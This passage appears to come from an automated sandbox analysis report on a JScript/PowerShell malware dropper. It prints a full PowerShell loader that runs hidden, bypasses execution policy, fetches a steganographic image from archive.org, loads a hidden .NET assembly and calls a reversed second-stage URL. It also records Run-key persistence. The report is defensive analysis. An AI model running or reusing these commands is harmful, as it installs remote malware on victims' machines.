                      Source: Binary string: D:\New Private Panell Src 3.0\Rump Updated FIX C#\src\obj\Debug\dnlib.pdb source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp

                      Data Obfuscation

                      barindex
                      JScript performs obfuscated calls to suspicious functions
                      Source: C:\Windows\System32\wscript.exeAnti Malware Scan Interface: .Run("powershell -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ?", "0", "false");
                      Found suspicious powershell code related to unpacking or dynamic code loading
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?x? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?2? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?MQ? ? ? ? ?w? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bo? ? ? ? ?G4? ? ? ? ?bwB0? ? ? ? ?GU? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?v? ? ? ? ?GQ? ? ? ? ?ZQBh? ? ? ? ?HQ? ? ? ? ?a? ? ? ? ?Bu? ? ? ? ?G8? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?C4? ? ? ? ?agBw? ? ? ? ?Gc? ? ? ? ?Jw? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?dwBl? ? ? ? ?GI? ? ? ? ?QwBs? ? ? ? ?Gk? ? ? ? ?ZQBu? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?TgBl? ? ? ? ?Hc? ? ? ? ?LQBP? ? ? ? ?GI? ? ? ? ?agBl? ? ? ? ?GM? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?TgBl? ? ? ? ?HQ? ? ? ? ?LgBX? ? ? ? ?GU? ? ? ? ?YgBD? ? ? ? ?Gw? ? ? ? ?aQBl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?EI? ? ? ? ?eQB0? ? ? ? ?GU? ? ? ? ?cw? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?? ? ? ? ?k? ? ? ? ?Hc? ? ? ? ?ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bgB0? ? ? ? ?C4? ? ? ? ?R? ? ? ? ?Bv? ? ? ? ?Hc? ? ? ? ?bgBs? ? ? ? ?G8? ? ? ? ?YQBk? ? ? ? ?EQ? ? ? ? ?YQB0? ? ? ? ?GE? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBV? ? ? ? ?HI? ? ? ? ?b? ? ? ? ?? ? ? ? ?p? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?Bb? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?EU? ? ? ? ?bgBj? ? ? ? ?G8? ? ? ? ?Z? ? ? ? ?Bp? ? ? ? ?G4? ? ? ? ?ZwBd? ? ? ? ?Do? ? ? ? ?OgBV? ? ? ? ?FQ? ? ? ? ?Rg? ? ? ? ?4? ? ? ? ?C4? ? ? ? ?RwBl? ? ? ? ?HQ? ? ? ? ?UwB0? ? ? ? ?HI? ? ? ? ?aQBu? ? ? ? ?Gc? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?cwB0? ? ? ? ?GE? ? ? ? ?cgB0? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?Jw? ? ? ? ?8? ? ? ? ?Dw? ? ? ? ?QgBB? ? ? ? ?FM? ? ? ? ?RQ? ? ? ? ?2? ? ? ? ?DQ? ? ? ? ?XwBT? ? ? ? ?FQ? ? ? ? ?QQBS? ? ? ? ?FQ? ? ? ? ?Pg? ? ? ? ?+? ? ? ? ?Cc? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?GU? ? ? ? ?bgBk? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?Jw? ? ? ? ?8? ? ? ? ?Dw? ? ? ? ?QgBB? ? ? ? ?FM? ? ? ? ?RQ? ? ? ? ?2? ? ? ? ?DQ? ? ? ? ?XwBF? ? ? ? ?E4? ? ? ? ?R? ? ? ? ?? ? ? ? ?+? ? ? ? ?D4? ? ? ? ?Jw? ? ? ? ?7?
                      Suspicious powershell command line found
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?x? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?2? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?MQ? ? ? ? ?w? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bo? ? ? ? ?G4? ? ? ? ?bwB0? ? ? ? ?GU? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?v? ? ? ? ?GQ? ? ? ? ?ZQBh? ? ? ? ?HQ? ? ? ? ?a? ? ? ? ?Bu? ? ? ? ?G8? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?C4? ? ? ? ?agBw? ? ? ? ?Gc? ? ? ? ?Jw? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?dwBl? ? ? ? ?GI? ? ? ? ?QwBs? ? ? ? ?Gk? ? ? ? ?ZQBu? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?TgBl? ? ? ? ?Hc? ? ? ? ?LQBP? ? ? ? ?GI? ? ? ? ?agBl? ? ? ? ?GM? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?TgBl? ? ? ? ?HQ? ? ? ? ?LgBX? ? ? ? ?GU? ? ? ? ?YgBD? ? ? ? ?Gw? ? ? ? ?aQBl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?EI? ? ? ? ?eQB0? ? ? ? ?GU? ? ? ? ?cw? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?? ? ? ? ?k? ? ? ? ?Hc? ? ? ? ?ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bgB0? ? ? ? ?C4? ? ? ? ?R? ? ? ? ?Bv? ? ? ? ?Hc? ? ? ? ?bgBs? ? ? ? ?G8? ? ? ? ?YQBk? ? ? ? ?EQ? ? ? ? ?YQB0? ? ? ? ?GE? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBV? ? ? ? ?HI? ? ? ? ?b? ? ? ? ?? ? ? ? ?p? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?Bb? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?EU? ? ? ? ?bgBj? ? ? ? ?G8? ? ? ? ?Z? ? ? ? ?Bp? ? ? ? ?G4? ? ? ? ?ZwBd? ? ? ? ?Do? ? ? ? ?OgBV? ? ? ? ?FQ? ? ? ? ?Rg? ? ? ? ?4? ? ? ? ?C4? ? ? ? ?RwBl? ? ? ? ?HQ? ? ? ? ?UwB0? ? ? ? ?HI? ? ? ? ?aQBu? ? ? ? ?Gc? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?cwB0? ? ? ? ?GE? ? ? ? ?cgB0? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?Jw? ? ? ? ?8? ? ? ? ?Dw? ? ? ? ?QgBB? ? ? ? ?FM? ? ? ? ?RQ? ? ? ? ?2? ? ? ? ?DQ? ? ? ? ?XwBT? ? ? ? ?FQ? ? ? ? ?QQBS? ? ? ? ?FQ? ? ? ? ?Pg? ? ? ? ?+? ? ? ? ?Cc? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?GU? ? ? ? ?bgBk? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?Jw? ? ? ? ?8? ? ? ? ?Dw? ? ? ? ?QgBB?
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.NGRO/gol/moc.onapnape//:sptth' , '1' , 'C:\ProgramData\' , 'atrophiante','RegAsm','desativado'))"
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?x? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?2? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?MQ? ? ? ? ?w? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bo? ? ? ? ?G4? ? ? ? ?bwB0? ? ? ? ?GU? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?v? ? ? ? ?GQ? ? ? ? ?ZQBh? ? ? ? ?HQ? ? ? ? ?a? ? ? ? ?Bu? ? ? ? ?G8? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?C4? ? ? ? ?agBw? ? ? ? ?Gc? ? ? ? ?Jw? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?dwBl? ? ? ? ?GI? ? ? ? ?QwBs? ? ? ? ?Gk? ? ? ? ?ZQBu? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?TgBl? ? ? ? ?Hc? ? ? ? ?LQBP? ? ? ? ?GI? ? ? ? ?agBl? ? ? ? ?GM? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?TgBl? ? ? ? ?HQ? ? ? ? ?LgBX? ? ? ? ?GU? ? ? ? ?YgBD? ? ? ? ?Gw? ? ? ? ?aQBl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?EI? ? ? ? ?eQB0? ? ? ? ?GU? ? ? ? ?cw? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?? ? ? ? ?k? ? ? ? ?Hc? ? ? ? ?ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bgB0? ? ? ? ?C4? ? ? ? ?R? ? ? ? ?Bv? ? ? ? ?Hc? ? ? ? ?bgBs? ? ? ? ?G8? ? ? ? ?YQBk? ? ? ? ?EQ? ? ? ? ?YQB0? ? ? ? ?GE? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBV? ? ? ? ?HI? ? ? ? ?b? ? ? ? ?? ? ? ? ?p? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?Bb? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?EU? ? ? ? ?bgBj? ? ? ? ?G8? ? ? ? ?Z? ? ? ? ?Bp? ? ? ? ?G4? ? ? ? ?ZwBd? ? ? ? ?Do? ? ? ? ?OgBV? ? ? ? ?FQ? ? ? ? ?Rg? ? ? ? ?4? ? ? ? ?C4? ? ? ? ?RwBl? ? ? ? ?HQ? ? ? ? ?UwB0? ? ? ? ?HI? ? ? ? ?aQBu? ? ? ? ?Gc? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?cwB0? ? ? ? ?GE? ? ? ? ?cgB0? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?Jw? ? ? ? ?8? ? ? ? ?Dw? ? ? ? ?QgBB? ? ? ? ?FM? ? ? ? ?RQ? ? ? ? ?2? ? ? ? ?DQ? ? ? ? ?XwBT? ? ? ? ?FQ? ? ? ? ?QQBS? ? ? ? ?FQ? ? ? ? ?Pg? ? ? ? ?+? ? ? ? ?Cc? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?GU? ? ? ? ?bgBk? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?Jw? ? ? ? ?8? ? ? ? ?Dw? ? ? ? ?QgBB? Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.NGRO/gol/moc.onapnape//:sptth' , '1' , 'C:\ProgramData\' , 'atrophiante','RegAsm','desativado'))"Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FFB4AD900BD pushad ; iretd 2_2_00007FFB4AD900C1
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 4_2_00007FFB4AD900BD pushad ; iretd 4_2_00007FFB4AD900C1

                      Boot Survival

                      barindex
                      Creates autostart registry keys with suspicious values (likely registry only malware)
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Path C:\ProgramData\atrophiante.jsJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run PathJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run PathJump to behavior
                      Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
